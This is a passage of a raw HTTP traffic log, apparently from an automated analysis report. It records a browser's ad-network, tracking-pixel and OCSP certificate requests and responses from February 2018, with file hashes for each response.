ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 21796 Md5: 9c7168207979b5f6ab6777d97a8a0963 Sha1: 9cf64cc271ecf30cfd8043002730eae9b47c2bf8 Sha256: 8eb9a093b3d57b4e750813aa8fc3c09cdc20379d6b5e1be2b862131bebfe735c
GET /cms/v1?esig=1~b04e41039133c73fafd60e0ed8cb49a70ecfb061&nwid=10000483131&sigv=1 HTTP/1.1 Host: ads.yahoo.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv	217.12.15.54 HTTP/1.1 302 Found Content-Type: text/plain; charset=utf-8 Date: Tue, 13 Feb 2018 14:02:41 GMT P3P: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" Set-Cookie: B=ak4k1bld85s01&b=3&s=8o; expires=Wed, 13-Feb-2019 14:02:41 GMT; path=/; domain=.yahoo.com Location: https://googleads.g.doubleclick.net/xbbe/match?xid=axhjb8NnQko2uD7NmcXs7qDp Cache-Control: private Content-Length: 0 Age: 0 Connection: keep-alive Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" Public-Key-Pins-Report-Only: max-age=2592000; pin-sha256="2fRAUXyxl4A1/XHrKNBmc8bTkzA7y4FB/GLJuNAzCqY="; pin-sha256="2oALgLKofTmeZvoZ1y/fSZg7R9jPMix8eVA6DH4o/q8="; pin-sha256="47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU="; pin-sha256="cAajgxHlj7GTSEIzIYIQxmEloOSoJq7VOaxWHfv72QM="; pin-sha256="Gtk3r1evlBrs0hG3fm3VoM19daHexDWP//OCmeeMr5M="; pin-sha256="i7WTqTvh0OioIruIfFR4kMPnBqrS2rdiVPl/s2uC/CY="; pin-sha256="iduNzFNKpwYZ3se/XV+hXcbUonlLw09QPa6AYUwpu4M="; pin-sha256="I/Lt/z7ekCWanjD0Cvj5EqXls2lOaThEA0H2Bg4BT/o="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; pin-sha256="lnsM2T/O9/J84sJFdnrpsFp3awZJ+ZZbYpCWhGloaHI="; pin-sha256="r/mIkG3eEpVdm+u/ko/cwxzOMo1bk4TyHIlByibiA5E="; pin-sha256="SVqWumuteCQHvVIaALrOZXuzVVVeS7f4FGxxu6V+es4="; pin-sha256="uUwZgwDOxcBXrQcntwu+kYFpkiVkOaezL0WYEZ3anJc="; pin-sha256="UZJDjsNp1+4M5x9cbbdflB779y5YRBcV6Z6rBMLIrO4="; pin-sha256="Wd8xe/qfTwq3ylFNd3IpaqLHZbh2ZNCLluVzmeNkcpw="; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; includeSubdomains; report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-hpkp-report-only" --- Additional Info ---
GET /pixel?google_nid=appnexus&google_cm&google_sc&google_dbm HTTP/1.1 Host: cm.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/xbbe/pixel?d=COD5IRD7n5MBGO3Xwi0wAQ&v=APEucNXdPIp-0rBWF8KlZZR-OuF2mnBAjXXkypYqIIjb68ET4GfiPd7oxAVXuI3kKAD21n2WZnYv Cookie: IDE=AHWqTUnKipjzrf9N3358FSf4m_WfIdoKjmxJ6yxoVUFe1NgBsjA95z_LIvLSzvSK	216.58.209.130 HTTP/1.1 302 Found Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://ib.adnxs.com/setuid?entity=101&code=CAESENlU4l1fd9jWe5KXCBrJAFk&google_cver=1 Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Server: HTTP server (unknown) Content-Length: 290 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: HTML document text Size: 290 Md5: e934e5e77b89b3e35c01c2d1c979217f Sha1: dd50f45ff441fc7c3b571523c35f16624d6acb33 Sha256: 7438d43a2c1a353e5fdfb001c8923b2a6fe1377788b9067d1e811223a87dd1c1
GET /adfscript/?bn=21309103;rtbwp=WoLwAAAOdzQKGI-NAAEa1YL_sjAZppZh5XiTXg;rtbdata=x-QconeWRJpxwDvr0OWHi-yyTRtv5y2pxjmhnbc_HYf1A5T3MwZy57QfGhgG7vcW8OkrmmqwEdB933qZg4wmMYNMQbPfzw_mMmMNdHuK2dgX-fHbLYycSQc0iLIxrm_3MPyXCqTm1hBoF1ovLTSa1sUIoYLXePiAR3Zqz6_FPkAlbAFnxTTVD28qB6yJN0y0jw9PKFYxjICVssFwilRnsaQF4kkqyKa7w3iI60gHGBc1;nofp=1;click=https://adclick.g.doubleclick.net/aclk?sa=L&ai=CqVVLAPCCWrTuOY2fYtW1hBDFx5-9Tb7QuIXlAsCNtwEQASAAYMPcpIWYGIIBF2NhLXB1Yi01NDM5Mjg1MjAzNTE1NzIzyAEJqQJH_UzW4DGGPqgDAaoEnQFP0IPuL8cZhkRmQuihB5gUEF5PEbRJS4we5jaYvowbDd5UahqaBIX1u5mua8xYIk7-6kHjKOkcfAOAB5o9Q0oKON9MHOjV3sH7ycON_HXR2pG016TJRvkFfslJ64UxsQFGP5Tkqsl_78pN7HKwnjZi99ZbRfMqq9n7uKckfQEbrl9a1cjg60hifiquMSaXWlXEcfEN7KGzQaVkil1YgAbinrmRmbDIt4IBoAYhqAemvhvYBwDSCAUIgGEQAQ&num=1&sig=AOD64_2N-eZttHoTa1h3c12AmgkpxQPwLg&client=ca-pub-5439285203515723&adurl= HTTP/1.1 Host: track.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560084&bpp=20&fdt=229&idt=331&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=3546&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=2&dtd=358	37.157.6.253 HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Content-Length: 1557 Connection: keep-alive Keep-Alive: timeout=15 Cache-Control: no-cache, no-store, must-revalidate, no-transform Pragma: no-cache Content-Encoding: gzip Expires: -1 Vary: Accept-Encoding Access-Control-Allow-Origin: * Set-Cookie: C=1; expires=Tue, 13-Mar-2018 14:02:41 GMT; path=/ P3P: CP="NOI DSP COR NID CURa ADMa DEVa TAIa PSAa PSDa OUR LEG NAV INT" --- Additional Info --- Magic: gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), max speed Size: 1557 Md5: 8f36f377196da67f426ca80fc9bc82cf Sha1: c31a71d1832fefbb744c9af5e27aa1659cbb8f9a Sha256: f450cccb7e50fd42646676eec3839f6fbeaed2fc8423f1cff7307251fb7b397e
GET /dbm/ad?dbm_c=AKAmf-AQ7uQTK6Y3BXPwcPOijzJLpc5QWvIWDsvc06a-ymETLveQJ_D1iB7pudsOps0x6h39xuQ0&dbm_d=AKAmf-CU3de9-V7BBeTGaHBvdvjRFynRkXr6KSHBD6jVV-mQHiS1LjmKZocdZMeO7h5IoBkQxILN5KdmVIKbVbK7u_ZDP11qCuwP0GJjOKvjWH7feXch2hkBfsTwdz7oeZ0xsgx7iebdw4MhOfxEzCeQUQElYQaQh8iZ_VXFwCRTbiO9RKaOyNoFMsWrZejBPpE36LNfdxuA7nIbEzgmhXIoXQSTv1ZNn60pvY9mDAu02szuiPv85gVnD8fg1xq3ii_t6JjZO6QoE0vQZzDHJ0Gs7hLiCey1jYrYHhoxkwbG9Gi9X7mPI8OshZi8NJl-WIwXMt7JvKwIpPkgyOltMUuv5aQfgv5H2E0aI_tGBsneYJGbzgd4Gdsf-l4INzf--Jp4HUH6sucbWrrFye9kPEN1eGXg9mOe8w7_KK3e8RUuccQdw4tiDfUwErkQsBUlyDSm4gps804lEBUNJGyv4EsfhAVXf_7j4CnpZMo8Uxry2vjJsK21LO18eRMsHqJZN80Tyw7rjXm4wVzQMrhRvt-tzk0ZRz5sGfNYY8la4bGfWgKrqzogEJKie5LKk4NMaHr5JSDpLP9oUI-GaRBjwe_b5VC0NALyz2ivwlKZGfw2zRiQgDfYnuc855grfyqc_uf7VC60aHgva-r__FFxROLdTo-3ScwJHflWEcJ4qXNTHGWgbqcRDUUi78DUzt39LtE8NCDaCwJvnmW4L8TnV79aY_WZqkwcoM3P6pAxaOvQBdz4rD11JwiQXAit_QTfi3revowP2vc_uSvEreoUtuT_XwBm9Gp9iHTD_aB4ggNjZMUk2TGXNP-4M7PQi8rge413WKmptXT5p9T9Ph2U4ytXU9BAuyIRNkhXw5vmMgVxkHJ0fh4sZKT96IYD8tY-6PFWE_vyTnsnGJL8wQNNns9_GasCE4HMk4ZeI-VWTuykRrSeNqqXl4WFP3cQ0cny3AR6cqG4DlNpeDQQHGWDZUlKipzsYTVktXsaK_FNks5nD1YLrPXsBhmNDm0fVYqVSpzZLJLNeosgk85uM9Pn12-RP8S0g_9K-XfdkwhfZbxvDUr518UpP3h-VHDVmLImnwdUPa2DlJ0jie6bwDHA1iO4CjpSph8W_6KJCR_CcZUXSQ_ylFzZPR0EhM-yvl70djwTrkmBjpR41aFZ7ohlFQZ0MaEnlM-MILDRuSdjRG8L-dPGaA-ky8U2RbTZHtKt1OsxrnOQWVqR1oxc4qzKU0Dfscsz2gwtZD3EOQvhpCbtp4QG6YEdEhjHSVM8S5CVPSdrVlmRd6QNOpQgEWYGzmIy1Lcwlm3AgnHEl4gqQiU8dQMtl7WPhytPKuZWArJCXwtxxsH-w3hHe_IFDJpTrBPaF3wgSagQ0wlsfRrXvZ1gJpzYFIYa1OA3D1ORoIxGK3wd7hlOwrBN9oN1JCQCKCH7oB3O9zFo1yEfY7a13nqyfBqujNL-3InexkKXFiVViblG-FWvliZbL-65gpOQ0bQucQv0TmhKlyjhhpxNtiHNEQ6rRTZLa71R-mIacBT1K8HNkttVcaqI1Gmc5uASmcMF22-ZaV4pWmYZdGoPeEawxyPPvUgPT4nZxX6JXe--h-20sUpLHYICKILit9yQkcFtaPCgPYQ3FRHDlxRoOuh1ZTCNwP8puDg&cid=CAASBORoCbo&rfl=3%2C%2Chttp%253A%252F%252Fmichaelnativel.wifeo.com%252F%240 HTTP/1.1 Host: googleads.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560105&bpp=4&fdt=349&idt=445&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=3781&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=3&dtd=471 Cookie: test_cookie=CheckForPermission	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 14:02:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe X-XSS-Protection: 1; mode=block Set-Cookie: IDE=AHWqTUmlC3OmS97PO7IoOEVlyUMMKUewC4_WKt-3qAaSAuiQN6HvIXnn3x8Auxmr; expires=Thu, 13-Feb-2020 14:02:41 GMT; path=/; domain=.doubleclick.net; HttpOnly test_cookie=; domain=.doubleclick.net; path=/; expires=Mon, 21 Jul 2008 23:59:00 GMT Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" Transfer-Encoding: chunked --- Additional Info --- Magic: gzip compressed data, max compression Size: 10917 Md5: 22eded2356288702884d6568dc0a6f07 Sha1: 0e435ed73601f74cec5bf2e0506837026dce0490 Sha256: 7e888c68928f5be110707ec659aeae0eb057a828a05118a56828fefacc3ea7d2
GET /pagead/js/lidar.js HTTP/1.1 Host: pagead2.googlesyndication.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606	172.217.22.162 HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Date: Tue, 13 Feb 2018 13:53:37 GMT Expires: Tue, 13 Feb 2018 14:53:37 GMT Etag: 6831844447556634063 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Content-Encoding: gzip Server: cafe Content-Length: 34299 X-XSS-Protection: 1; mode=block Age: 544 Cache-Control: public, max-age=3600 Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info --- Magic: gzip compressed data, max compression Size: 34299 Md5: 4af480d154ceb9d4226b2a21f80b6b9e Sha1: 514b804d0a119a0063bfc1d9e20f7b7c7004d80c Sha256: e45497d04a8eb2999ade55e5f45265811efc3e5ab7eaf6929db863b133d6f181
GET /stoat/607/s1.adform.net/bootstrap.js HTTP/1.1 Host: s1.adform.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: / Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=60&slotname=5224417502&adk=2845482056&adf=807048394&w=585&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=585x60&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=3&wgl=0&dt=1518530560033&bpp=43&fdt=49&idt=242&shv=r20180207&cbv=r20170110&saldr=aa&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=2&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=312&ady=752&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7C%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=1&dtd=264	37.157.6.234 HTTP/1.1 200 OK Content-Type: text/javascript Server: nginx Date: Tue, 13 Feb 2018 14:02:41 GMT Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=15 Vary: Accept-Encoding Access-Control-Allow-Origin: * Last-Modified: Wed, 07 Feb 2018 15:24:23 GMT Cache-Control: public, max-age=100000 Expires: Wed, 14 Feb 2018 17:49:03 GMT X-Cache-Status: HIT Content-Encoding: gzip --- Additional Info --- Magic: gzip compressed data, from Unix Size: 13691 Md5: 7dff8bc845f03fef9414515e1e823030 Sha1: ad7ce3dac1e6eefe12829d27e4a9d2b1ea8eaa3a Sha256: fc5f373371abfa589671c2a31ae4d5711c0507b578cef62f7eb12d8c836d0bf9
GET /pcs/view?xai=AKAOjsslMn2WShmgwPI-Nj-jbqy3P9sGzt1c8Ld_wT9h_KvTUWlaqNj09AU0s8bbEgelnuv2udgF30B4yO4xapZ4sgbzHFopVFPlKz2pj3CUsURt9TtqX54OTSTVilXpr3t55U7UyjT1Dc8XMgzzzJxLPMgLE2b5OFSjP6Xc6kEM-kGW4EH-Ti3fVgSsLtuJbET_fqev4H6gsL-ERqZ7MddXWiEp2kAJNig1uf3U2NzZbmhtiCXrTPH_G2g2Px44ZNpeBPi-wnmc-ZvS2AWUc6adz5wgp9sEfKDY-X3QzEI1X3Ko9TJ53V1lgtOwp0sAyzKRFEsUmhmySgueM2v_ILcRF1FPMYnDOAuAgmNNHEwMIxbF3oMYN7QYVhDKgO2Z7_FiqwM66bzk3UYC1PUJOMeOZnwZ-rcW0uW2fCrRuBjWqrAYfU_T16QFqbUs0Fpr0HYuOgMCLCvCtp8AxJ7DC2EAEKIUO8l0xLVhvtTra-njs_HUU5W5E5ncHFFHHyNhckimfDBmM1K-XfNBmae_myDmARQe2hbl34urUl11iUlGtSA-gjLOxwgRVLMMIhoiNIyn4AXd-vCSANw3vu4v3tmYQFq7nkrBuHK6VG9ASzXLQlVHJFwUk2cGOA-uIdfslLBxAS4pLbg0mjSGCANtQN8023vdGoJsUC9a2brIC1YGZKWkOvovA81H9PAlmhVrn1N2sV63o-VwKQPH1gPCe0QJaNWPLgRtAJvST2hhXkzdVfA204rNFB-Agt-SjHIHn1Nf1PoiLQNBnaIjvgB6qje-hu0yLrCCXQrFf1F5ZdKc2K2ucxc3mSmRi1X5CalifSQ&sai=AMfl-YR3IJkejPzp3_XNsVTmZIlDLIXE-Glq4wZCFi40GHB4EbaTMHW7uUPyGVVb9XOhGwM9xNb2OfnKNjPOIbVFEGu3NhX_lzqb&sig=Cg0ArKJSzCaLGOvj4PcEEAE&urlfix=1&adurl= HTTP/1.1 Host: googleads4.g.doubleclick.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: image/png,image/;q=0.8,/;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: https://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-5439285203515723&output=html&h=600&slotname=5224417502&adk=3182230553&adf=807048394&w=178&fwrn=4&lmt=1518530546&loeid=38893312&rafmt=1&format=178x600&url=http%3A%2F%2Fmichaelnativel.wifeo.com%2F&ea=0&flash=10.0.45&fwr=0&resp_fmts=4&wgl=0&dt=1518530560109&bpp=5&fdt=496&idt=587&shv=r20180207&cbv=r20170110&saldr=aa&prev_fmts=585x60%2C585x60%2C178x600&correlator=2522521449464&frm=20&ga_vid=709438037.1518530560&ga_sid=1518530560&ga_hid=1665291383&ga_fc=0&pv=1&icsg=0&nhd=1&dssz=0&mdo=0&mso=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=10&u_nmime=92&adx=490&ady=5181&biw=1159&bih=754&abxe=1&scr_x=0&scr_y=0&eid=38893302%2C21061122%2C191880502&oid=3&rx=0&eae=4&fc=528&brdim=%2C%2C-4%2C-4%2C1176%2C0%2C1184%2C863%2C1176%2C754&vis=0&rsz=%7C%7Cbr%7C&abl=CS&ppjl=u&pfx=0&fu=144&bc=1&ifi=4&dtd=606 Cookie: IDE=AHWqTUnn2NtYWl1hZdKDFQWtlBKeVpNX62MFUtF1iTm6eK6fGtFI8OdXNF2X6wUB	216.58.209.130 HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cache-Control: private X-Content-Type-Options: nosniff Date: Tue, 13 Feb 2018 14:02:42 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 1; mode=block Alt-Svc: hq="googleads.g.doubleclick.net:443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic="googleads.g.doubleclick.net:443"; ma=2592000; v="41,39,38,37,35",hq=":443"; ma=2592000; quic=51303431; quic=51303339; quic=51303338; quic=51303337; quic=51303335,quic=":443"; ma=2592000; v="41,39,38,37,35" --- Additional Info ---
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:42 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 17:56:39 GMT Expires: Mon, 19 Feb 2018 17:56:39 GMT Etag: 6E1390A0BD1EA29D9D3CAFC2B28D81858CED524B Cache-Control: max-age=531836,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp15 Content-Length: 278 Connection: close --- Additional Info --- Magic: data Size: 278 Md5: c9d0f8a0c103fd3f76a3231d292019e3 Sha1: 6e1390a0bd1ea29d9d3cafc2b28d81858ced524b Sha256: c2561fc07b4706316266d5a4d9b40e09479226c56d94d7fc92effeb96bf25de1
POST / HTTP/1.1 Host: ocsp.comodoca4.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	178.255.83.1 HTTP/1.1 200 OK Content-Type: application/ocsp-response Date: Tue, 13 Feb 2018 14:02:42 GMT Server: Apache Last-Modified: Mon, 12 Feb 2018 11:30:53 GMT Expires: Mon, 19 Feb 2018 11:30:53 GMT Etag: 8E242477BF0882B1319BC4C53887CEDD2AF131E2 Cache-Control: max-age=508690,public,no-transform,must-revalidate X-OCSP-Reponder-ID: rmdccaocsp20 Content-Length: 313 Connection: close --- Additional Info --- Magic: data Size: 313 Md5: f5c0f9572b3e8f64a0cbc1a07f453401 Sha1: 8e242477bf0882b1319bc4c53887cedd2af131e2 Sha256: 32ad01098f31aba2f0060dc68180378325772eea6370174e99e0d1f6131978f4
POST / HTTP/1.1 Host: rc.symcd.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Content-Length: 115 Content-Type: application/ocsp-request	23.52.27.27 HTTP/1.1 200 OK Content-Type: application/ocsp-response Server: nginx/1.12.2 Content-Length: 1034 Content-Transfer-Encoding: binary Cache-Control: max-age=350825, public, no-transform, must-revalidate Last-Modified: Sat, 10 Feb 2018 15:25:41 GMT Expires: Sat, 17 Feb 2018 15:25:41 GMT Date: Tue, 13 Feb 2018 14:02:42 GMT Connection: keep-alive --- Additional Info --- Magic: data Size: 1034 Md5: baf34d986c00b66407375ac23eec7499 Sha1: 4451f614115ab7a166b37973aafa4dcae9e2a93f Sha256: ac2f7c04a4378ed2d8a2a21de045d89445cf8eab3c7bf989ea332c181f7c56b2
